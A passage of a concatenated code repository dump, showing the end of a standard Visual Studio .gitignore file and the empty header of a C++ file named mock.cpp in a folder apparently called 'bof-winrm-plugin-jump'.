202 | !**/[Pp]ackages/build/
203 | # Uncomment if necessary however generally it will be regenerated when needed
204 | #!**/[Pp]ackages/repositories.config
205 | # NuGet v3's project.json files produces more ignorable files
206 | *.nuget.props
207 | *.nuget.targets
208 |
209 | # Microsoft Azure Build Output
210 | csx/
211 | *.build.csdef
212 |
213 | # Microsoft Azure Emulator
214 | ecf/
215 | rcf/
216 |
217 | # Windows Store app package directories and files
218 | AppPackages/
219 | BundleArtifacts/
220 | Package.StoreAssociation.xml
221 | _pkginfo.txt
222 | *.appx
223 | *.appxbundle
224 | *.appxupload
225 |
226 | # Visual Studio cache files
227 | # files ending in .cache can be ignored
228 | *.[Cc]ache
229 | # but keep track of directories ending in .cache
230 | !?*.[Cc]ache/
231 |
232 | # Others
233 | ClientBin/
234 | ~$*
235 | *~
236 | *.dbmdl
237 | *.dbproj.schemaview
238 | *.jfm
239 | *.pfx
240 | *.publishsettings
241 | orleans.codegen.cs
242 |
243 | # Including strong name files can present a security risk
244 | # (https://github.com/github/gitignore/pull/2483#issue-259490424)
245 | #*.snk
246 |
247 | # Since there are multiple workflows, uncomment next line to ignore bower_components
248 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622)
249 | #bower_components/
250 |
251 | # RIA/Silverlight projects
252 | Generated_Code/
253 |
254 | # Backup & report files from converting an old project file
255 | # to a newer Visual Studio version. Backup files are not needed,
256 | # because we have git ;-)
257 | _UpgradeReport_Files/
258 | Backup*/
259 | UpgradeLog*.XML
260 | UpgradeLog*.htm
261 | ServiceFabricBackup/
262 | *.rptproj.bak
263 |
264 | # SQL Server files
265 | *.mdf
266 | *.ldf
267 | *.ndf
268 |
269 | # Business Intelligence projects
270 | *.rdl.data
271 | *.bim.layout
272 | *.bim_*.settings
273 | *.rptproj.rsuser
274 | *- [Bb]ackup.rdl
275 | *- [Bb]ackup ([0-9]).rdl
276 | *- [Bb]ackup ([0-9][0-9]).rdl
277 |
278 | # Microsoft Fakes
279 | FakesAssemblies/
280 |
281 | # GhostDoc plugin setting file
282 | *.GhostDoc.xml
283 |
284 | # Node.js Tools for Visual Studio
285 | .ntvs_analysis.dat
286 | node_modules/
287 |
288 | # Visual Studio 6 build log
289 | *.plg
290 |
291 | # Visual Studio 6 workspace options file
292 | *.opt
293 |
294 | # Visual Studio 6 auto-generated workspace file (contains which files were open etc.)
295 | *.vbw
296 |
297 | # Visual Studio LightSwitch build output
298 | **/*.HTMLClient/GeneratedArtifacts
299 | **/*.DesktopClient/GeneratedArtifacts
300 | **/*.DesktopClient/ModelManifest.xml
301 | **/*.Server/GeneratedArtifacts
302 | **/*.Server/ModelManifest.xml
303 | _Pvt_Extensions
304 |
305 | # Paket dependency manager
306 | .paket/paket.exe
307 | paket-files/
308 |
309 | # FAKE - F# Make
310 | .fake/
311 |
312 | # CodeRush personal settings
313 | .cr/personal
314 |
315 | # Python Tools for Visual Studio (PTVS)
316 | __pycache__/
317 | *.pyc
318 |
319 | # Cake - Uncomment if you are using it
320 | # tools/**
321 | # !tools/packages.config
322 |
323 | # Tabs Studio
324 | *.tss
325 |
326 | # Telerik's JustMock configuration file
327 | *.jmconfig
328 |
329 | # BizTalk build output
330 | *.btp.cs
331 | *.btm.cs
332 | *.odx.cs
333 | *.xsd.cs
334 |
335 | # OpenCover UI analysis results
336 | OpenCover/
337 |
338 | # Azure Stream Analytics local run output
339 | ASALocalRun/
340 |
341 | # MSBuild Binary and Structured Log
342 | *.binlog
343 |
344 | # NVidia Nsight GPU debugger configuration file
345 | *.nvuser
346 |
347 | # MFractors (Xamarin productivity tool) working folder
348 | .mfractor/
349 |
350 | # Local History for Visual Studio
351 | .localhistory/
352 |
353 | # BeatPulse healthcheck temp database
354 | healthchecksdb
355 |
356 | # Backup folder for Package Reference Convert tool in Visual Studio 2017
357 | MigrationBackup/
358 |
359 | # Ionide (cross platform F# VS Code tools) working folder
360 | .ionide/
361 |
362 | # Fody - auto-generated XML schema
363 | FodyWeavers.xsd
364 |
365 |
366 | # mine
367 | systems.txt
--------------------------------------------------------------------------------
/bof-winrm-plugin-jump/base/mock.cpp:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 | #include
6 | #include
7 | #include